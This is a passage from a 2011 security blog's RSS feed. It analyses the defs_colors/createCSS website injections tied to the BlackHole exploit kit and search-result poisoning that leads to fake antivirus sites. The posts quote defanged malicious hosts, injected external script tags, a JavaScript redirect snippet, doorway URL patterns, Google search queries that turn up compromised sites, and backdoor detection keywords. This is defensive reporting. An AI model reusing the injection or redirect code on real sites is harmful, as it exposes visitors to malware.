<p>This script created a hidden iframe with the same source as the <em><span style="color: #993300;">defs_colors</span></em> code on the same page: <span style="color: #993300;">hxxp://<strong>85 .128 .169 .137</strong>/webim/jquery.min.html</span> &#8211; so both scripts belong to the same attack.</p>
<p>Some more iframe URLs used by the <span style="color: #993300;"><em>createCSS</em></span> the script:</p>
<ul>
<li><span style="color: #993300;">bonuses.<strong>corkit .co</strong>/ywdngzevkw.php?n=f0203</span></li>
<li><span style="color: #993300;">blog.<strong>1dollarclick .mobi</strong>/news/2007/</span></li>
<li><span style="color: #993300;">porea.<strong>1poundclick .co.uk</strong>/news/2010</span></li>
</ul>
<p>What else those <span style="color: #993300;"><em>defs_colors</em></span> and <span style="color: #993300;"><em>createCSS</em></span> have in common is the way they pretend to be legitimate scripts.</p>
<ul>
<li>They use quite benign function and variable names, e.g. <em><span style="color: #993300;">createCSS</span></em>, <span style="color: #993300;"><em>div_pick_colors</em></span>, <span style="color: #993300;"><em>check_div_styles</em></span>, <span style="color: #993300;"><em>style_node</em></span>, <span style="color: #993300;"><em>css_indexes</em></span>, etc.</li>
<li>They make the encoded part of the script less prominent
<ul>
<li>in case of <span style="color: #993300;"><em>createCSS</em></span>, the encoded part starts way off the screen (after around 1,000 characters of a less suspicious code)</li>
<li>in case of <span style="color: #993300;"><em>defs_colors</em></span>, the encoded part is presented under the disguise of an array of colors and the decoder looks like a color manipulation function. I must admit, this looks quite benign and when I saw it for the first time, I didn&#8217;t even recognized this code as malicious!</li>
</ul>
</li>
</ul>
<p>Both revisions of the code have similar injection locations. However, for the <span style="color: #993300;"><em>createCSS</em></span> (probably as a more old type) I noticed a few more interesting locations and injection patterns.</p>
<p>Sometimes hackers inject an external script that points to either a <strong>.js</strong> or a <strong>.php</strong> file on a different site. Sometimes both types of external scripts are injected into the same page:</p>
<p><code>&lt;scriрt type="text/javascript" src="http://ba<span style="color: #888888;">██████████████</span>.pl/search<strong>.php</strong>"&gt;&lt;/scriрt&gt;<br />
&lt;scriрt type="text/javascript" src="http://on<span style="color: #888888;">████████████</span>.com.au/swfobject<strong>.js</strong>"&gt;&lt;/scriрt&gt;</code></p>
<h3>Zombie sites</h3>
<p>Note, the masked domain names belong to legitimate websites where hackers created those <strong><em>search.php</em></strong> and<strong><em> swfobject.js</em></strong> files that only consist of that <span style="color: #993300;"><em>createCSS </em></span>malicious code. Moreover, those legitimate websites may in turn be infected with links to similar external scripts on other compromised legitimate sites. This scheme resembles <a href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/#zombie">Gumblar</a> that also injected links to malicious scripts (with <strong>.php</strong> extension) on other hacked site. Each site could both have infected web pages and at the same time contain files that infect unrelated third-party sites (act a a zombie site).</p>
<h3>Infection vector(s)</h3>
<p>As we know, Gumblar used <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a> to break into legitimate websites and infect them. This time this vector is also confirmed by hosting providers who can see traces of the injections in FTP logs of compromised sites. However, stolen passwords seem to be not the only exploited security hole, on certain sites the same scripts are reported to be injected using vulnerabilities in web applications. Well, it&#8217;s 2011 and hacker attacks become more and more versatile.</p>
<h3>BlackHole exploit kit</h3>
<p>This <span style="color: #993300;"><em>createCSS</em></span> code is familiar to a security community for quite some time. I <a href="http://www.symantec.com/connect/blogs/blackhole-fever-continues">read about it on Symantec&#8217;s blog</a> where they identified it as being injected by criminals who used the <a href="http://www.symantec.com/connect/blogs/blackhole-theory">BlackHole exploit kit</a>. According to Symantec, it was (and probably still is)  the most prevalent exploit toolkit in the wild and was spreading like a wildfire.</p>
<h3>To webmasters</h3>
<p>Based on the information I currently have about this attack, here my recommendations to webmasters of affected sites:</p>
<ol>
<li>Thoroughly scan your computers for malware.</li>
<li>Change all site passwords.</li>
<li>Don&#8217;t save passwords in FTP clients. <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">Malicious programs know how to extract your passwords</a> from configuration files of most popular FTP clients.</li>
<li>If your hosting supports SFTP, stop using FTP &#8212; it&#8217;s insecure. (New reality, not only malware on your computer can sniff passwords in plain-text FTP traffic but also (with proper tools) people from other computers on the same Wi-Fi network can do it.) Switch to SFTP as soon as possible. All decent FTP clients support SFTP mode so the switch will be painless for you. Do it!</li>
<li>If you use third party software on your site, make sure it is up to date and fully patched.</li>
<li>Scan your whole server (your account) for suspicious files. There may be backdoors files there. Here are some keywords to search for: “<span style="color: #993300;"><em>base64_decode</em></span>“, “<span style="color: #993300;"><em>edoced_46esab</em></span>“, “<span style="color: #993300;"><em>gzinflate</em></span>“, “<span style="color: #993300;"><em>gzuncompress</em></span>” , &#8220;<span style="color: #993300;"><em>eval(base64_decode</em></span>&#8220;, “<span style="color: #993300;"><em>eval(stripslashes</em></span>“, “<span style="color: #993300;"><em>FilesMan</em></span>“.</li>
<li>If your site is blacklisted by Google, request a <a href="http://www.unmaskparasites.com/malware-warning-guide/#request">malware review</a> via Google Webmaster Tools (Diagnostics -&gt; Malware) once you&#8217;ve finished the clean up.</li>
</ol>
<p><strong>Update.</strong> There is some new information on this attack that includes injected <a href="http://blog.unmaskparasites.com/2011/04/07/update-on-redef_colorscreatecss-attack-php-code-backdoors-and-oscommerce/">PHP code, osCommerce vulnerability and backdoor files</a></p>
<p>###</p>
<p>If this BlackHole toolkit is really so popular this sort of hacks will not go away soon. The attack will only evolve. So let&#8217;s gather more information about it and help each other. Tell us your success story if you managed to completely clean up your site, or a disaster story if the malware keeps on returning driving you mad. Maybe you have some evidences, such as FTP logs or backdoor scripts found on your server. Maybe you know how exactly hackers steal site passwords. Any information is welcome!</p>
<p><strong><span style="color: #808080;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/">Revenge of Gumblar Zombies</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/">Versatile .CC Attacks</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/03/24/blackhole-defs_colors-and-createcss-injections/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Major Disasters in Poisoned Search Results</title>
		<link>http://blog.unmaskparasites.com/2011/03/14/major-disasters-in-poisoned-search-results/</link>
		<comments>http://blog.unmaskparasites.com/2011/03/14/major-disasters-in-poisoned-search-results/#comments</comments>
		<pubDate>Mon, 14 Mar 2011 20:33:39 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[cloaking]]></category>
		<category><![CDATA[disasters]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=762</guid>
		<description><![CDATA[Only a few hours after the Friday&#8217;s 8.9 earthquake and the consequent tsunami hit Japan, security researchers noticed many poisoned Google search results for this news related searches that redirected web surfers to fake antivirus sites.
This situation nothing new. We&#8217;ve seen similarly poisoned search results for Haitian earthquake a year ago, for the recent New [...]]]></description>
			<content:encoded><![CDATA[<p>Only a few hours after the Friday&#8217;s 8.9 earthquake and the consequent tsunami hit Japan, security researchers <a href="http://blog.trendmicro.com/most-recent-earthquake-in-japan-searches-lead-to-fakea/">noticed</a> many poisoned Google search results for this news related searches that redirected web surfers to fake antivirus sites.</p>
<p>This situation nothing new. We&#8217;ve seen similarly poisoned search results for Haitian earthquake a year ago, for the recent New Zealand&#8217;s earthquake, for last year&#8217;s floods in Pakistan, etc.</p>
<p>Many people use search engines to find details about breaking news such as natural disasters, catastrophes, accidents, etc. Such hardly predictable events, have literally zero relevant results before they happen, so during the first few hours after the event almost any site with relevant information have good chances to rank high on Google. This short window when competition is quite light is all cyber-criminal  need to have a steady traffic to their breaking new related doorway  pages. Then, when every news site and blog add their 2 cents and there are plenty resources about those hot topics, only most reputable and most relevant web pages make it to the top of search results.</p>
<p>I decided to check the poisoned search results and here&#8217;s what I found:<br />
<span id="more-762"></span></p>
<h3 id="compromised">1. Compromised legitimate websites</h3>
<p>Hackers create doorways pages on compromised legitimate websites. They have many reasons to do so. Pages on established sites usually rank better. Moreover, it&#8217;s clueless site owners who pay for domains, servers and bandwidths.</p>
<h3 id="cloaking">2. Cloaking</h3>
<p>They use a black hat SEO technique called cloaking to provide search engines with one version of content (news related, stuffed with relevant keywords) and another content for web surfers who come from search engines (redirect to a malicious site).  Visitors who don&#8217;t come from search engines usually see a blank page or the <em>404 error</em>(page not found).</p>
<p>Fore example, here&#8217;s what Googlebot sees (via Google cache):</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/03/most-recent-earthquakes-in-japan.jpg" border="0" alt="Most Recent Earthquakes in Japan" /></div>
<p>And here is what web surfers see when they click on poisoned search results:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/03/fake-av.jpg" border="0" alt="Fake AV" /></div>
<h3 id="redirects">3. JavaScript redirects</h3>
<p>To redirect visitors to malicious sites, hackers use (in this particular attack) the following JavaScript</p>
<p><code>var url = "hxxp://<strong>www3.addfreeprotectionwa .cz.cc</strong>/?6212ee=m%2Bzgl2uTlp2emNXO1K%2BimtnX4KbVn6%2BWkJOrYpuaa1Y%3D";<br />
if (window!=top) {top.location.href = url;}<br />
//else document.location= url;</code></p>
<p>(<a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/">Infamous .cc domains</a>. In some cases I&#8217;ve seen &#8220;<span style="color: #993300;">*.rr.nu</span>&#8221; domains) The domain names of malicious sites regularly change, which proves that hackers actively control compromised websites.</p>
<h3 id="wordpress">4. Old WordPress</h3>
<p>The majority of the compromised sites are WordPress blogs that use old versions of WP (e.g. <strong>2.5.x</strong> and <strong>2.6.x</strong>)</p>
<h3 id="urls">5. URL patterns</h3>
<p>The most common URL pattern of the doorway pages is <span style="color: #993300;">hxxp://example .com/<strong>wp-admin/images/logos.php?itemid</strong>=keywords</span></p>
<p>Some other, less prevalent, patterns are:</p>
<p><code>wp-admin/import/rs.php?itemid<br />
wp-admin/import/st.php?itemid<br />
wp-admin/import/dotcl.php?itemid<br />
wp-admin/includes/pos.php?itemid<br />
wp-admin/includes/med.php?itemid<br />
wp-includes/images/smilies/icon_sa.php?itemid<br />
wp-includes/var.php?itemid?itemid<br />
wp-includes/images/crystal/cod.php?itemid<br />
wp-content/plugins/sociable/images/liv.php?itemid<br />
wp-content/uploads/2008/12/logos.php?itemid<br />
...</code></p>
<p>As you can see all these patterns use <strong>.php</strong> files that clearly break WordPress conventions. For example,</p>
<ul>
<li>there shouldn&#8217;t be any public indexable pages in <strong>/wp-admin</strong> and <strong>/wp-includes</strong> directories</li>
<li>the files are not core WordPress files and users are not supposed to change anything inside <strong>/wp-admin</strong> and <strong>/wp-includes</strong> directories</li>
<li>while it is a normal practice to add custom files into <strong>/wp-content</strong> directory, it&#8217;s very suspicious to see <strong>.php</strong> files in <strong>images</strong> directories</li>
<li>it is even more suspicious to see <strong>.php</strong> files in the <strong>uploads</strong> directories &#8212; which may be a strong sign of a site compromise.</li>
</ul>
<h3 id="prevalence">6. Prevalence estimates</h3>
<p>Given the URL patterns of the doorway pages differ from legitimate WordPress URL patterns, we can use Google&#8217;s <strong>inurl</strong> search operator to estimate the scale of this problem.</p>
<p>For example, for the [<a href="http://www.google.com/search?q=inurl%3A%22wp-admin+*+php+itemid%22&amp;" target="_blank">inurl:"wp-admin * php itemid"</a>] search, Google currently returns <strong>22 million</strong> results (warning: don&#8217;t click on search results).</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/03/22-million-results.gif" border="0" alt="22 million results" /></div>
<p>I estimate that more than 90% of them are malicious backdoor pages.</p>
<p>Most of them target various &#8220;hot news&#8221; topics. Let&#8217;s check how many of them mention disasters: [<a href="http://www.google.com/search?q=%22inurl%3Awp+admin+images+logos+php%22+disaster" target="_blank">"inurl:wp admin images logos php" disaster</a>]</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/03/disaster-doorways.gif" border="0" alt="disaster doorways" /></div>
<p>At this point I can see almost <strong>1.5 million</strong> doorway results on disasters &#8212; this sort of news is probably the most &#8220;profitable&#8221; for criminals &#8212; people shocked with the news are less likely to be looking what links they are clicking on.</p>
<p>Now more specific query: [<span style="color: #333399;">"inurl:wp admin images logos php" "most recent earthquake"</span>] &#8211; <strong>1,750</strong> doorways that cover many high seismic risk regions: California, Japan, Taiwan, Chile, New Zealand, etc.</p>
<p>To find the number of index doorway pages on individual compromised websites I used the [<span style="color: #333399;">"inurl:wp admin images logos php" site:example.com</span>] searches (replacing &#8220;<em>example.com</em>&#8221; with actual domain names).  The average number is about <strong>20,000</strong> indexed doorway pages per site. On some sites this number is as high as <strong>100,000.</strong> On others it may be just a couple of thousand.</p>
<p>In any case, we can see that hackers generate at least several dozen new doorway pages on each compromised site every day targeting all sorts of news topics.  So, every days they have quite a steady stream of clueless web searcher who use Google to learn more about hot news: from disasters to the latest rumors about celebrities.</p>
<h3 id="warnings">7. Lack of malware warnings</h3>
<p>To protect web searchers from security risks, Google displays the &#8220;<em>This site may harm your computer</em>&#8221; warning on search results from <em>known</em> blacklisted sites. Web browsers like Firefox, Safari and Google Chrome also display similar warnings when people try to open such sites.</p>
<p>Unfortunately, at this moment Google is aware of only about <strong>5%</strong> of websites with such malicious backdoor pages, so don&#8217;t expect them to warn you.</p>
<h3 id="google">To Google</h3>
<p>Come on Google, I&#8217;m sure you are aware of this problem. Why not feed the results of the [<span style="color: #333399;">inurl:"wp-admin * php itemid"</span>] query to your malware scanners?</p>
<p><strong>Bonus</strong>: understanding the WordPress URL structure, we can easily reveal some other poisoned search results. E.g. [<span style="color: #333399;">"inurl:wp admin images * php" -logos</span>] currently returns <strong>327,000</strong> search results and I can clearly see another malware attack that uses the &#8220;<span style="color: #993300;">/wp-admin/images/dating/index.php?</span>&#8221; URL pattern (again, most of them are not blacklisted yet).</p>
<h3 id="searchers">To web searchers</h3>
<p>Look before you click on search results. Especially if you are searching for the latest news, at least ask your self whether the site can be a source or trustworthy information about the topic. Pay a special attention to the link pattern &#8212; Google displays it for a good reason.</p>
<h3 id="webmasters">To webmasters</h3>
<p>1. Make sure all third party applications that you use on your web sites are up-to-date and fully patched. Using an old version of  WordPress is like an invitation to hackers to abuse your site.</p>
<p>2. Regularly check web pages indexed on your site. Use either Google Webmaster Tool or the [<span style="color: #333399;">site:example.com</span>] Google search (replace <em>example.com</em> with your site&#8217;s domain name). You may find some unexpected pages there.</p>
<p>3. Regularly check what search keyword people use to find your site. Google Analytics is not enough here as the doorway page don&#8217;t contain your tracking code. You should either analyze raw server log (or any log-based statistics) or check the &#8220;Search queries&#8221; and &#8220;Keywords&#8221; reports in Google Webmaster Tools &#8212; you may discover that your site rank for quite unrelated keywords.</p>
<p>4. If your site happens to be one of the compromised blogs, not only should you remove those doorway files (e.g. &#8220;<span style="color: #993300;">wp-admin/images/logos.php</span>&#8220;) but also find and remove backdoor files that hackers have uploaded to your server. Here are some keywords to search for: “<span style="color: #993300;"><strong><em>eval</em></strong></span>“, “<span style="color: #993300;"><strong><em>base64_decode</em></strong></span>“, “<span style="color: #993300;"><strong><em>edoced_46esab</em></strong></span>“, “<span style="color: #993300;"><strong><em>gzinflate</em></strong></span>“, “<span style="color: #993300;"><strong><em>gzuncompress</em></strong></span>” , “<span style="color: #993300;"><strong><em>eval(stripslashes</em></strong></span>“, “<span style="color: #993300;"><strong><em>FilesMan</em></strong></span>“.</p>
<h3 id="feedback">Do you have anything to add?</h3>
<p>In this post I covered only one type of Google results poisoning for news related searches. Have you seen any other similar black hat SEO campaign? Have you identified other Google searches that mainly return links to malicious web pages? Your information and comments are welcome.</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Hackers Abuse Servage Hosting to Poison Google Image Search</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action.</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/10/01/cheap-vista-or-cloaked-spam-on-high-profile-sites/">“Cheap Vista” or Cloaked Spam on High-Profile Sites</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/12/03/doorways-on-non-default-ports-new-trend-in-black-hat-seo/#webmasters">Doorways on Non-default Ports — New Trend in Black Hat SEO?</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/03/14/major-disasters-in-poisoned-search-results/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

